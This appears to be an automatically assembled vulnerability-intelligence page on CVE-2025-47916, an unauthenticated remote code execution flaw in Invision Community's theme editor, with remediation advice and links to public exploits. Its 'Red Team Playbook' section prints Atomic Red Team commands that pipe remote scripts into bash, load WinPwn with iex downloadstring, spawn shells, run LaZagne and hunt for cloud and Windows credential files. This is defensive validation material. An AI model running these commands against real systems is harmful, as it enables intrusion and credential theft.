CVE-2025-47916
Overview
This vulnerability is a remote code execution flaw caused by improper validation and evaluation of user-supplied template strings within the themeeditor controller of Invision Community. Specifically, the protected method customCss in /applications/core/modules/front/system/themeeditor.php accepts untrusted input via the content parameter, which is then passed to Theme::makeProcessFunction() and evaluated by the template engine without sufficient sanitization. This allows unauthenticated users to execute arbitrary PHP code through crafted template payloads targeting the themeeditor.php endpoint.
Vulnerability Description
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary PHP code on the affected server, potentially leading to full system compromise. No authentication or user interaction is required, and the attack can be performed remotely via network access to the themeeditor.php endpoint. Successful exploitation allows attackers to manipulate data, execute commands, or disrupt service, resulting in confidentiality, integrity, and availability impacts as reflected by the CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Solution
Upgrade Invision Community to version 5.0.7 or later as detailed in the vendor's official release notes (https://invisioncommunity.com/release-notes-v5/507-r41/). This update addresses the vulnerability in the themeeditor controller by restricting access to the customCss method and sanitizing template input. Organizations should apply this patch promptly to mitigate the risk. No alternative workarounds are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Invision Community versions prior to 5.0.7 stems from a critical flaw in the theme editor functionality, specifically within the themeeditor controller. This vulnerability allows unauthenticated users to invoke a protected method, customCss, which is intended to process CSS content. However, the method improperly handles input by passing user-supplied content directly to the template engine without adequate validation or sanitization. This oversight enables attackers to craft malicious template strings that can be executed as PHP code, leading to remote code execution. The implications of this flaw are severe, as it opens a pathway for attackers to manipulate the underlying server environment, potentially compromising the integrity and confidentiality of the affected system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a specially designed request to the theme editor endpoint, submitting malicious template strings that leverage the customCss method. Given that this method does not require authentication, even unauthenticated users can exploit it, making the attack surface significantly larger. Once the malicious code is executed, attackers can gain control over the server, allowing them to perform actions such as data exfiltration, installation of backdoors, or further lateral movement within the network. This ease of exploitation, combined with the high severity of the vulnerability, makes it a prime target for attackers looking to compromise systems running Invision Community.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Invision Community for their online platforms. The potential for remote code execution means that attackers could not only disrupt services but also gain unauthorized access to sensitive data, leading to data breaches and compliance violations. The business risks associated with such incidents include reputational damage, financial losses due to remediation efforts, and potential legal ramifications stemming from data protection regulations. Organizations may also face increased scrutiny from stakeholders and customers, further compounding the negative effects of a successful exploitation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, they should ensure that they are running the latest version of Invision Community, as updates often include critical security patches. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, implementing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests targeting the theme editor. Monitoring logs for unusual activity, such as unauthorized access attempts or unexpected changes to the server, can also aid in early detection of exploitation attempts.
In conclusion, the vulnerability within Invision Community's theme editor presents a significant threat due to its potential for remote code execution by unauthenticated users. The ease of exploitation, combined with the severe consequences of a successful attack, underscores the importance of prompt remediation and proactive security measures. Organizations must prioritize updating their systems, conducting regular security assessments, and employing robust monitoring strategies to safeguard against this and similar vulnerabilities. By adopting a comprehensive security posture, businesses can mitigate risks and protect their digital assets from malicious actors.
CSURFACE threat intelligence has detected a marked escalation in activity exploiting CVE-2025-47916, with telemetry indicating a doubling in detection events related to attempts targeting the vulnerable themeeditor.php endpoint. This increase, although still at an early stage, signals growing adversary interest and potential expansion of exploitation campaigns leveraging the unauthenticated remote code execution vector. The slight upward adjustment in the EPSS score corroborates this trend, reflecting increased likelihood of successful exploitation in the wild. For defenders, this development underscores the urgency of heightened monitoring for anomalous template string usage and reinforces the criticality of patching affected Invision Community instances. The evolving exploit landscape, now featuring multiple publicly available proof-of-concept tools, further lowers the barrier for threat actors to weaponize this vulnerability. Consequently, the threat level should be considered elevated, with a higher probability of active exploitation attempts that could lead to severe operational impacts if left unmitigated.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Invisioncommunity | Invisioncommunity | All |
cpe:2.3:a:invisioncommunity:invisioncommunity:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Invision Community 5.0.6 customCss RCE
exploits/multi/http/invision_customcss_rce
|
Egidio Romano (EgiX), Valentin Lobstein | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Invision Community 5.0.6 - Remote Code Execution (RCE) | Egidio Romano | remote | multiple | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Web3-Serializer/CVE-2025-47916
Proof‑of‑concept description for CVE‑2025‑47916, a Remote Code Execution vulnerability affecting Invision Community 5.0....
|
Web3-Serializer | 1 | 0 | 2025-11-21 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-47916 |
| invisioncommunity.com |
GitHub CVE
|
https://invisioncommunity.com/release-notes-v5/507-r41/ |
| karmainsecurity.com |
GitHub CVE
|
https://karmainsecurity.com/KIS-2025-02 |
| seclists.org |
NVD API
Mailing List
Third Party Advisory
|
http://seclists.org/fulldisclosure/2025/May/4 |